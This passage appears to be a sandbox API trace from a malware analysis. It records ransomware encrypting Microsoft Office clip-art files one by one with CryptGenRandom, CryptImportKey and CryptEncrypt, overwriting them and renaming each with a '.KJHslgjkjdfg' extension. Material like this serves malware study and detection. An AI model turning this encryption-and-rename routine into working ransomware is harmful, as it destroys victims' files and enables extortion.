dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.163] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.167] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.167] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.167] GetProcessHeap () returned 0x2a0000 [0161.167] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.167] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.167] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.168] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.168] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.168] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4dba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4dba, lpOverlapped=0x0) returned 1 [0161.169] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4dc0, dwBufLen=0x4dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4dc0) returned 1 [0161.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.170] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4dc0, lpOverlapped=0x0) returned 1 [0161.170] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.170] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.170] SetEndOfFile (hFile=0x114) returned 1 [0161.173] GetProcessHeap () returned 0x2a0000 [0161.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.173] GetProcessHeap () returned 0x2a0000 [0161.173] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089945.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089945.wmf.kjhslgjkjdfg")) returned 1 [0161.174] CloseHandle (hObject=0x114) returned 1 [0161.174] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1 [0161.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.176] GetProcessHeap () returned 0x2a0000 [0161.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.176] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.176] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.177] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.177] GetProcessHeap () returned 0x2a0000 [0161.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.177] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.177] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.177] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.179] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.180] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.180] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.180] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3d40, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3d40, lpOverlapped=0x0) returned 1 [0161.181] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d40, dwBufLen=0x3d40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3d40) returned 1 [0161.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.181] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3d40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3d40, lpOverlapped=0x0) returned 1 [0161.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3e14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.181] SetEndOfFile (hFile=0x114) returned 1 [0161.184] GetProcessHeap () returned 0x2a0000 [0161.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.184] GetProcessHeap () returned 0x2a0000 [0161.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0089992.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0089992.wmf.kjhslgjkjdfg")) returned 1 [0161.186] CloseHandle (hObject=0x114) returned 1 [0161.186] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1 [0161.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.186] GetProcessHeap () returned 0x2a0000 [0161.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.187] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.187] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0161.189] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.189] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.189] GetProcessHeap () returned 0x2a0000 [0161.189] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.189] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.189] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.190] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.190] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.190] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.190] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5314, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5314, lpOverlapped=0x0) returned 1 [0161.192] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5320, dwBufLen=0x5320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5320) returned 1 [0161.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.192] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5320, lpOverlapped=0x0) returned 1 [0161.192] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.192] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x53f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.192] SetEndOfFile (hFile=0x114) returned 1 [0161.195] GetProcessHeap () returned 0x2a0000 [0161.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.195] GetProcessHeap () returned 0x2a0000 [0161.195] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.195] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090027.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090027.wmf.kjhslgjkjdfg")) returned 1 [0161.197] CloseHandle (hObject=0x114) returned 1 [0161.197] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1 [0161.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.198] GetProcessHeap () returned 0x2a0000 [0161.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.198] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.198] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.200] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.200] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.201] GetProcessHeap () returned 0x2a0000 [0161.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.201] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.201] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.201] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.201] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.201] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.201] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.201] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.201] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.201] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb758, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb758, lpOverlapped=0x0) returned 1 [0161.203] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb760, dwBufLen=0xb760 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb760) returned 1 [0161.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.204] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb760, lpOverlapped=0x0) returned 1 [0161.204] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.204] SetEndOfFile (hFile=0x114) returned 1 [0161.207] GetProcessHeap () returned 0x2a0000 [0161.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.207] GetProcessHeap () returned 0x2a0000 [0161.207] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090087.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090087.wmf.kjhslgjkjdfg")) returned 1 [0161.209] CloseHandle (hObject=0x114) returned 1 [0161.209] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1 [0161.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0090089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.211] GetProcessHeap () returned 0x2a0000 [0161.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.211] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.211] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.211] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.211] GetProcessHeap () returned 0x2a0000 [0161.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.211] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.214] WriteFile (in: 